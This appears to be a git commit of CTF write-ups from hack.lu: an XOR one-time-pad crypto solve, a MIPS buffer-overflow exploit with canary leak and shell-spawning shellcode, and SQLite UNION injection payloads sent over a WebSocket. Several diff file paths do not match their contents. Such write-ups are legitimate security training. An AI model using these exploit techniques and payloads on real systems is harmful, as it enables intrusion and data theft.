Added hack.lu ctf

Author: 0xf4b1

hack.lu/crypto/cobol-otp/README.md

@@ -0,0 +1,51 @@
+# COBOL OTP
+
+## crypto - Points: 175
+
+> To save the future you have to look at the past. Someone from the inside sent you an access code to a bank account with a lot of money. Can you handle the past and decrypt the code to save the future?
+>
+> [cobol_otp_96726770d36dee506e2fc6bc1b7f7f7d.zip](cobol_otp_96726770d36dee506e2fc6bc1b7f7f7d.zip)
+
+In this task you were given a small `cobol` program and an output message that you have to decrypt. From the program's name you already know that the encryption is done via `XOR`, but you don't have the key.
+
+With a proper key with size of the message, the decryption would be hard, but we probably know the first 5 bytes of the plaintext since it will likely be the flag format that is `flag{`. So `XOR`ing the encrypted bytes with the plaintext bytes gives the key and when it is printable, we might be able to infer the next bytes. But the output contains non-printable bytes and at this point I was not sure, whether the plaintext really starts like the guess.
+
+I have never seen this programming language, so in preferred to simply compile and test the program. I could observe, that it does only use the first 10 bytes of the `key.txt` and then reuses them when the message is longer.
+
+With knowing this we can try to always decrypt the first 5 bytes of 10 bytes with the key we derived from the flag format and get the following:
+
+	flag{?????_c4n_?????O2_c3?????_s4v3?????fUtUr?????
+
+And it looks good already, now we only need to guess plaintext for the second part of the key. This is quite easy if you try to guess the part between `_s4v3` and `fUtUr`, where `_th3_` might be the correct plaintext. So `XOR`ing again the encrypted bytes for this part with our guess gives the second part of the key and with the full key and can decrypt the whole message to get the flag.
+
+```python
+with open('out', 'r') as file:
+	data = file.read().splitlines()[1]
+
+key = ''
+flag = ''
+guess = 'flag{'
+
+for i in range(5):
+	key += chr(ord(data[i]) ^ ord(guess[i]))
+
+for k in range(5):
+	for i in range(10*k,10*k+5):
+		flag += chr(ord(data[i]) ^ ord(key[i%10]))
+	flag += '?????'
+
+print flag
+
+guess = '_th3_'
+
+for i in range(35,40):
+	key += chr(ord(data[i]) ^ ord(guess[i-35]))
+
+flag = ''
+for i in range(49):
+	flag += chr(ord(data[i]) ^ ord(key[i%10]))
+
+print flag
+```
+
+flag: `flag{N0w_u_c4n_buy_CO2_c3rts_&_s4v3_th3_fUtUrE1!}`

hack.lu/crypto/cobol-otp/cobol_otp_96726770d36dee506e2fc6bc1b7f7f7d.zip

@@ -0,0 +1,27 @@
+with open('out', 'r') as file:
+	data = file.read().splitlines()[1]
+
+key = ''
+flag = ''
+guess = 'flag{'
+
+for i in range(5):
+	key += chr(ord(data[i]) ^ ord(guess[i]))
+
+for k in range(5):
+	for i in range(10*k,10*k+5):
+		flag += chr(ord(data[i]) ^ ord(key[i%10]))
+	flag += '?????'
+
+print flag
+
+guess = '_th3_'
+
+for i in range(35,40):
+	key += chr(ord(data[i]) ^ ord(guess[i-35]))
+
+flag = ''
+for i in range(49):
+	flag += chr(ord(data[i]) ^ ord(key[i%10]))
+
+print flag

hack.lu/crypto/cobol-otp/sol.py

@@ -0,0 +1,86 @@
+# No Risc, No Future
+
+## baby-pwn - Points: 215
+
+> We use microcontrollers to automate and conserve energy. IoT and stuff. Most of them don't use CISC architectures.
+>
+> Let's start learning another architecture today!
+>
+> [Download challenge files](no_risc_no_future_e06100f3fc1847eb06ed06749beeae25.zip)
+>
+> [Download challenge files including docker setup](no_risc_no_future_7cb1ade0963d2236d1cf6e58750be043.zip)
+
+You were given a ELF 32-bit MIPS executable and `QEMU` binary that lets you easily run the program.
+
+Running `checksec no_risc_no_future` shows the enabled security mechanisms:
+
+	Arch:     mips-32-little
+	RELRO:    Partial RELRO
+	Stack:    Canary found
+    NX:       NX disabled
+    PIE:      No PIE (0x400000)
+    RWX:      Has RWX segments
+
+Only stack canaries are enabled and since `NX` is disabled we have `RWX` segments what allows us to execute shellcode on the stack, if we find a buffer overflow.
+
+Decompiling the MIPS binary in `Ghidra` shows what it is essentially doing:
+
+```c
+undefined4 main(void)
+{
+  int iStack80;
+  char acStack76 [64];
+  int iStack12;
+  
+  iStack12 = __stack_chk_guard;
+  iStack80 = 0;
+  while (iStack80 < 10) {
+    read(0,acStack76,0x100);
+    puts(acStack76);
+    iStack80 = iStack80 + 1;
+  }
+  if (iStack12 != __stack_chk_guard) {
+    __stack_chk_fail();
+  }
+  return 0;
+}
+```
+
+The program `read`s up to 0x100 characters from `stdin` and prints that data out by using `puts`. This is repeated 10 times in the loop. Since the destination buffer for the input has only 64 characters size, we have a buffer overflow. To get code execution we can overwrite the `RIP` but since stack canaries are enabled, we have to leak that value before.
+
+Stack canary values end with zero bytes what makes it more difficult to read them, since most functions stop at zero bytes because they identify the end of string.
+
+The stack canary variable `__stack_chk_guard` lies in the memory right after the buffer for our input and `puts` will read the buffer till it encounters a zero byte. So if we overwrite the buffer, we would corrupt the canary value, but can overwrite that zero byte, so that `puts` will print out our buffer and the canary value! Since `read` terminates our input with `\xa0` (linefeed) we can fill the buffer with 64 bytes, and the linefeed will overwrite the zero byte of the canary value.
+
+We have now bypassed the stack canary protection and can in the next turn completely overwrite the buffer and modify the `RIP` to jump right behind it where we place our shellcode. I debugged the binary in `gdb` and found `0x7ffffd40` as good address to jump to. MIPS shellcode generated with `shellcraft` worked quite good, I only had to add some `NOP`s before it.  
+
+The full exploit code looks like this:
+
+```python
+from pwn import *
+
+
+context.arch = 'mips'
+
+shellcode = asm(shellcraft.mips.linux.sh())
+
+# p = remote('localhost', 1338)
+p = remote('noriscnofuture.forfuture.fluxfingers.net', 1338)
+
+p.sendline('A'*64)
+p.recvuntil('\n')
+
+canary = u32('\x00'+p.recv(3))
+p.recv(1)
+log.info('canary: {}'.format(hex(canary)))
+
+p.sendline('A'*64+p32(canary)+'A'*4+p32(0x7ffffd40)+'\x00'*16+shellcode)
+
+for i in range(8):
+	p.sendline('')
+	p.recvuntil('\n\n')
+
+p.interactive()
+```
+
+flag: `flag{indeed_there_will_be_no_future_without_risc}`

hack.lu/pwn/no-risc-no-future/README.md

@@ -0,0 +1,24 @@
+from pwn import *
+
+
+context.arch = 'mips'
+
+shellcode = asm(shellcraft.mips.linux.sh())
+
+# p = remote('localhost', 1338)
+p = remote('noriscnofuture.forfuture.fluxfingers.net', 1338)
+
+p.sendline('A'*64)
+p.recvuntil('\n')
+
+canary = u32('\x00'+p.recv(3))
+p.recv(1)
+log.info('canary: {}'.format(hex(canary)))
+
+p.sendline('A'*64+p32(canary)+'A'*4+p32(0x7ffffd40)+'\x00'*16+shellcode)
+
+for i in range(8):
+	p.sendline('')
+	p.recvuntil('\n\n')
+
+p.interactive()

hack.lu/pwn/no-risc-no-future/no_risc_no_future_7cb1ade0963d2236d1cf6e58750be043.zip

@@ -0,0 +1,47 @@
+# Nucular Power Plant
+
+## baby-web - Points: 105
+
+> We found this overview page of nucular power plants, maybe you can get us some secret data to fight them?
+>
+> http://31.22.123.49:1909
+
+When inspecting the source code of the website, you will quickly stumble over the `main.js` and some communication via a `WebSocket`. It receives `JSON` messages in different types. It will at first receive an `Array` and call the `plantList`, that contains all the power plants that are visible in the list. As soon as you select a power plant, it will receive data for `plantDetails`, the information shown in the center and then continuously receive data of type `number`, some random values, to update the current power supply state.
+
+To reveal the data in `Chromium`, open the `DevTools` (F12), goto the `Sources` tab and open the `main.js` and add `console.log(data);` right after the parsing of the message.
+
+The interesting part is, how the selection of a plant is handled: When you select a plant, it sends the name of it over the socket. If you probe for `SQLi`, for example by modifying `ws.send('" foo');`, it returns the string
+
+	Error: SqliteFailure(Error { code: Unknown, extended_code: 1 }, Some("near \"foo\": syntax error"))
+
+So it is `SQLite` database and it is vulnerable! :)
+
+With `ws.send('" OR "1"="1" LIMIT 1 OFFSET 1;');` where you are free to change the `offset` you can force to load specific data, but there seems to be nothing more interesting in the table.
+
+Lets try to enumerate all the tables of the database, [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md) has some useful queries for this:
+
+	SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
+
+But we have to make it compatible for our query, we can do a `UNION` and add some dummy data to keep the structure of the initial `SELECT` that we can not change. The following query will now print the table name as the plant name:
+
+	ws.send('" UNION SELECT tbl_name, "foo", 0, 0, "foo", 0 FROM sqlite_master WHERE type="table" and tbl_name NOT like "sqlite_%";');
+
+And we get as a result `nucular_plant` as table name. Are there more tables?
+
+	ws.send('" UNION SELECT tbl_name, "foo", 0, 0, "foo", 0 FROM sqlite_master WHERE type="table" and tbl_name NOT like "sqlite_%" LIMIT 1 OFFSET 1;');
+
+Oh, there is also another table named `secret`! :)
+
+Lets try to enumerate the column names:
+
+	ws.send('" UNION SELECT sql, "foo", 0, 0, "foo", 0 FROM sqlite_master WHERE type!="meta" AND sql NOT NULL AND name NOT LIKE "sqlite_%" AND name ="secret";');    
+
+And we get as result the structure of the table:
+
+	CREATE TABLE secret (id INTEGER PRIMARY KEY,name TEXT NOT NULL,value TEXT NOT NULL)
+
+Lets read it out:
+
+	ws.send('" UNION SELECT name, value, id, 0, "foo", 0 FROM secret;');
+
+flag: `flag{sqli_as_a_socket}`